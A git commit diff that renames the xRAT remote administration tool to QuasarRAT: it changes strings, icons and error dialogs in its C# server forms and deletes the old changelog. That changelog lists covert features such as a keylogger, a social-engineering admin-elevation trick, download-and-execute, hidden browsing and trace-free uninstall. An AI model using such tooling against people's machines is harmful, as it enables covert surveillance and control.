More renaming

This commit is contained in:
MaxXor 2015-08-19 20:37:17 +02:00
parent b27ab20b1e
commit 82ebb20ecd
23 changed files with 56 additions and 257 deletions

View File

@ -1,141 +1,4 @@
Changelog - xRAT 2.0
====================
#QuasarRAT Changelog
xRAT v2.0.0.0 RELEASE4.1 [12.07.2015]
---
* Improved No-Ip.com Updater
* **Fixed networking code**
* Fixed RemoteShell error output
* Some minor bugfixes
xRAT v2.0.0.0 RELEASE4 [14.06.2015]
---
* **Changed Target Framework to .NET Framework 3.5 Client Profile**
* Added Startup Manager
* Added Keylogger
* Added Reverse SOCKS5/HTTPS Proxy
* Added option to show Tooltip on Clients with Information about their System
* Added No-Ip.org Support for dynamic IPs
* **Improved Client & Server network code**
* Added Buffer Manager
* Changed compression from LZ4 to QuickLZ
* Fixed reading of packets with length bigger than buffer size
* Changed buffer size to 1MB
* Improved Remote Desktop support for multiple monitors
* Improved Remote Shell
* Improved Settings
* Improved Builder
* Improved File Transfers
* Improved Updating of Clients
* Fixed threading issues
* Fixed memory leak in Server
* Many other bug fixes and small improvements
xRAT v2.0.0.0 RELEASE3 [10.08.2014]
---
* Optimized connection between Client & Server (!)
* Added UPnP support
* Added Upload & Execute
* Updated Protocol Buffers
* Fixed Keepalive between Client & Server (!)
* Fixed and hardened installation on same computer with new mutex
* Some minor fixes
xRAT v2.0.0.0 RELEASE2 [24.07.2014]
---
* Improved Remote Shell
* Added changeable Assembly Information
* Added Computer Commands (Restart, Shutdown, Standby)
* Added dynamic sizes for system information (easily expandable)
* Added Antivirus & Firewall detection
* Extended File Manager (Execute, Delete, Rename)
* Fixed disposing of modal dialog box
* Some minor fixes
xRAT v2.0.0.0 RELEASE1 [08.07.2014]
---
* Added Icon Changer
* Added Remote Shell
* Added profiles to builder (save/load)
* Added motion detection algorithm to Remote Desktop (40-50% faster)
* Added monitor selection to Remote Desktop
* Improved Admin Elevation (waits 3sec before finally shows)
* Improved System Information
* Improved Task Manager->Start Process
* Improved uninstall command to leave no trace on computer
* Improved settings XMl writer/reader if no settings file exists
* Fixed rare bug with uninstall command
* First Stable Release
xRAT v2.0.0.0 BETA2 [16.05.2014]
---
* Added Update Function
* Added renamer (thx li0nsar3c00l)
* Added loading information to System Information
* Added some additional checks to validate PE-Files in Download & Execute command
* Improved version information
* Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi)
* Fixed showing wrong country flag when country is unknown
* Some minor design changes
xRAT v2.0.0.0 BETA1 [14.04.2014]
---
* Added custom social engineering tactic to elevate Admin privileges (betabot's trick)
* Supports 9 languages
* Added System Information
* Added Show Messagebox
* Added Visit Website [Hidden/Visible]
* Added support for Mouse to Remote Desktop
* Added new Status for User [Active/Idle]
* Added Statistics for Connected Clients and Traffic
* Added Zone Identifier Deletion after downloading Files
* Added Transferlist to File Manager
* Moved GeoIP Location from Server to Client -> increases speed
* Improved Startup Method
* Improved Remote Desktop
* Improved File Manager
* Improved listview in Main Window
* Fixed rare window focus bug
* Fixed some crashes
* Fixed some minor bugs
* First Beta Release
xRAT v2.0.0.0 ALPHA3 [31.03.2014]
---
* Added Settings encryption to Client
* Added detection of Account Type to Client
* Extended Builder
* Optimized File Manager
* Changed Builder exception message
* Small code changes for future updates
* Fixed flickering listview in File Manager and Task Manager
* Fixed wrong sorting in File Manager
* Fixed Remote Desktop crash when exiting without pressing "Stop" first
* Fixed various crashes and exceptions
xRAT v2.0.0.0 ALPHA2 [22.03.2014]
---
* Added Remote Desktop
* Added Task Manager
* Added File Manager
* Added some icons
* Improved Builder
* Optimized code
* Fixed connection count bug
* Fixed client disconnect bug
* Fixed uninstall not working when Client is built with hidden option
* Fixed deleting registry key while uninstalling Client
* Fixed various crashes and exceptions
xRAT v2.0.0.0 ALPHA1 [16.03.2014]
---
* First Alpha Release
##Quasar v1.0.0.0 [TBD]
* First Release

View File

@ -8,7 +8,7 @@
##Guidelines for Pull Requests:
1. Respect xRAT 2.0 coding style.
1. Respect the coding style of QuasarRAT.
2. Make a single change per commit.
3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult.
4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted.

View File

@ -147,7 +147,7 @@ namespace xServer.Core.Data
{
get
{
return ReadValueSafe("RegistryName", "xRAT Client Startup");
return ReadValueSafe("RegistryName", "Quasar Client Startup");
}
set
{

View File

@ -9,6 +9,8 @@ namespace xServer.Core.Data
{
private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml");
public static string RepositoryURL = @"https://github.com/quasar/QuasarRAT";
public static ushort ListenPort
{
get

View File

@ -288,7 +288,7 @@ namespace xServer.Core.ReverseProxy
}
/// <summary>
/// xRAT -> ProxyClient
/// Server -> ProxyClient
/// </summary>
/// <param name="payload"></param>
public void SendToClient(byte[] payload)

View File

@ -26,7 +26,7 @@ namespace xServer.Core.Utilities
{
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost));
request.Proxy = null;
request.UserAgent = string.Format("xRAT No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
request.Timeout = 10000;
request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword)))));
request.Method = "GET";

View File

@ -29,7 +29,7 @@
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout));
this.picXRAT = new System.Windows.Forms.PictureBox();
this.picIcon = new System.Windows.Forms.PictureBox();
this.lblTitle = new System.Windows.Forms.Label();
this.lblVersion = new System.Windows.Forms.Label();
this.btnOkay = new System.Windows.Forms.Button();
@ -38,18 +38,18 @@
this.lnkCredits = new System.Windows.Forms.LinkLabel();
this.lnkGithubPage = new System.Windows.Forms.LinkLabel();
this.lblSubTitle = new System.Windows.Forms.Label();
((System.ComponentModel.ISupportInitialize)(this.picXRAT)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit();
this.SuspendLayout();
//
// picXRAT
// picIcon
//
this.picXRAT.Image = global::xServer.Properties.Resources.xRAT_64x64;
this.picXRAT.Location = new System.Drawing.Point(12, 12);
this.picXRAT.Name = "picXRAT";
this.picXRAT.Size = new System.Drawing.Size(64, 64);
this.picXRAT.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picXRAT.TabIndex = 0;
this.picXRAT.TabStop = false;
this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server;
this.picIcon.Location = new System.Drawing.Point(12, 12);
this.picIcon.Name = "picIcon";
this.picIcon.Size = new System.Drawing.Size(64, 64);
this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
this.picIcon.TabIndex = 0;
this.picIcon.TabStop = false;
//
// lblTitle
//
@ -149,7 +149,7 @@
this.Controls.Add(this.btnOkay);
this.Controls.Add(this.lblVersion);
this.Controls.Add(this.lblTitle);
this.Controls.Add(this.picXRAT);
this.Controls.Add(this.picIcon);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
@ -158,7 +158,7 @@
this.Name = "FrmAbout";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Quasar - About";
((System.ComponentModel.ISupportInitialize)(this.picXRAT)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
@ -166,7 +166,7 @@
#endregion
private System.Windows.Forms.PictureBox picXRAT;
private System.Windows.Forms.PictureBox picIcon;
private System.Windows.Forms.Label lblTitle;
private System.Windows.Forms.Label lblVersion;
private System.Windows.Forms.Button btnOkay;

View File

@ -1,6 +1,7 @@
using System;
using System.Diagnostics;
using System.Windows.Forms;
using xServer.Core.Data;
namespace xServer.Forms
{
@ -13,8 +14,8 @@ namespace xServer.Forms
lblVersion.Text = "v" + Application.ProductVersion;
rtxtContent.Text = Properties.Resources.TermsOfUse;
lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT" });
lnkCredits.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT#credits" });
lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL });
lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" });
}
private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)

View File

@ -322,7 +322,7 @@ namespace xServer.Forms
if (Directory.Exists(_connectClient.Value.DownloadDirectory))
Process.Start(_connectClient.Value.DownloadDirectory);
else
MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK,
MessageBox.Show("No files downloaded yet!", "File Manager", MessageBoxButtons.OK,
MessageBoxIcon.Information);
}
@ -474,13 +474,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void ClearFileBrowser()
@ -495,13 +488,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void AddItemToFileBrowser(ListViewItem lvi)
@ -516,13 +502,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void AddTransfer(int id, string status, string filename)
@ -539,13 +518,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public int GetTransferIndex(int id)
@ -586,13 +558,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
/// <summary>

View File

@ -81,13 +81,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void SetGetLogsEnabled(bool enabled)
@ -102,13 +95,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void lstLogs_ColumnClick(object sender, ColumnClickEventArgs e)

View File

@ -65,8 +65,8 @@ namespace xServer.Forms
{
int selected = lstClients.SelectedItems.Count;
this.Text = (selected > 0) ?
string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
string.Format("Quasar - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) :
string.Format("Quasar - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients);
});
}
catch
@ -753,7 +753,7 @@ namespace xServer.Forms
private void menuStatistics_Click(object sender, EventArgs e)
{
if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0)
MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
MessageBox.Show("Please wait for at least one connected Client!", "Quasar", MessageBoxButtons.OK,
MessageBoxIcon.Information);
else
{

View File

@ -107,13 +107,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void PrintError(string errorMessage)
@ -129,13 +122,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}

View File

@ -1,5 +1,7 @@
using System;
using System.Net.Sockets;
using System.Windows.Forms;
using xServer.Core.Data;
using xServer.Core.ReverseProxy;
using xServer.Core.Helper;
using xServer.Core.Networking;
@ -30,7 +32,7 @@ namespace xServer.Forms
{
if (_clients.Length > 1)
{
this.Text = "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]";
this.Text = "Reverse Proxy [Load-Balancer is active]";
lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works";
}
else if (_clients.Length == 1)
@ -47,7 +49,7 @@ namespace xServer.Forms
SocksServer = new ReverseProxyServer();
SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished;
SocksServer.OnUpdateConnection += socksServer_onUpdateConnection;
SocksServer.StartServer(_clients, "0.0.0.0", (int)nudServerPort.Value);
SocksServer.StartServer(_clients, "0.0.0.0", 4782);
btnStart.Enabled = false;
btnStop.Enabled = true;
@ -56,12 +58,27 @@ namespace xServer.Forms
_refreshTimer.Interval = 100;
_refreshTimer.Start();
}
catch (SocketException ex)
{
if (ex.ErrorCode == 10048)
{
MessageBox.Show("The port is already in use.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
MessageBox.Show(
string.Format(
"An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues",
ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
btnStop_Click(sender, null);
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues",
ex.Message, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
btnStop_Click(sender, null);
}
}

View File

@ -105,13 +105,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public ListViewGroup GetGroup(int group)

View File

@ -79,13 +79,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
public void AddProcessToListview(ListViewItem lvi)
@ -100,13 +93,6 @@ namespace xServer.Forms
catch (InvalidOperationException)
{
}
catch (Exception ex)
{
MessageBox.Show(
string.Format(
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e)

View File

@ -512,9 +512,9 @@ namespace xServer.Properties {
/// <summary>
/// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap xRAT_64x64 {
internal static System.Drawing.Bitmap Quasar_Server {
get {
object obj = ResourceManager.GetObject("xRAT_64x64", resourceCulture);
object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}

View File

@ -230,8 +230,8 @@
<data name="mouse_add" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="xRAT_64x64" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="Quasar_Server" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="delete" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>

View File

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 31 KiB

View File

@ -42,7 +42,7 @@
</PropertyGroup>
<PropertyGroup />
<PropertyGroup>
<ApplicationIcon>xRAT-64x64.ico</ApplicationIcon>
<ApplicationIcon>Quasar_Server.ico</ApplicationIcon>
</PropertyGroup>
<PropertyGroup>
<ApplicationManifest>app.manifest</ApplicationManifest>
@ -451,7 +451,7 @@
</ItemGroup>
<ItemGroup>
<Content Include="Core\Helper\MouseKeyHook\HotKeys\ReadMe.txt" />
<Content Include="xRAT-64x64.ico" />
<Content Include="Quasar_Server.ico" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />

View File

Before

Width:  |  Height:  |  Size: 5.8 KiB

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 849 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB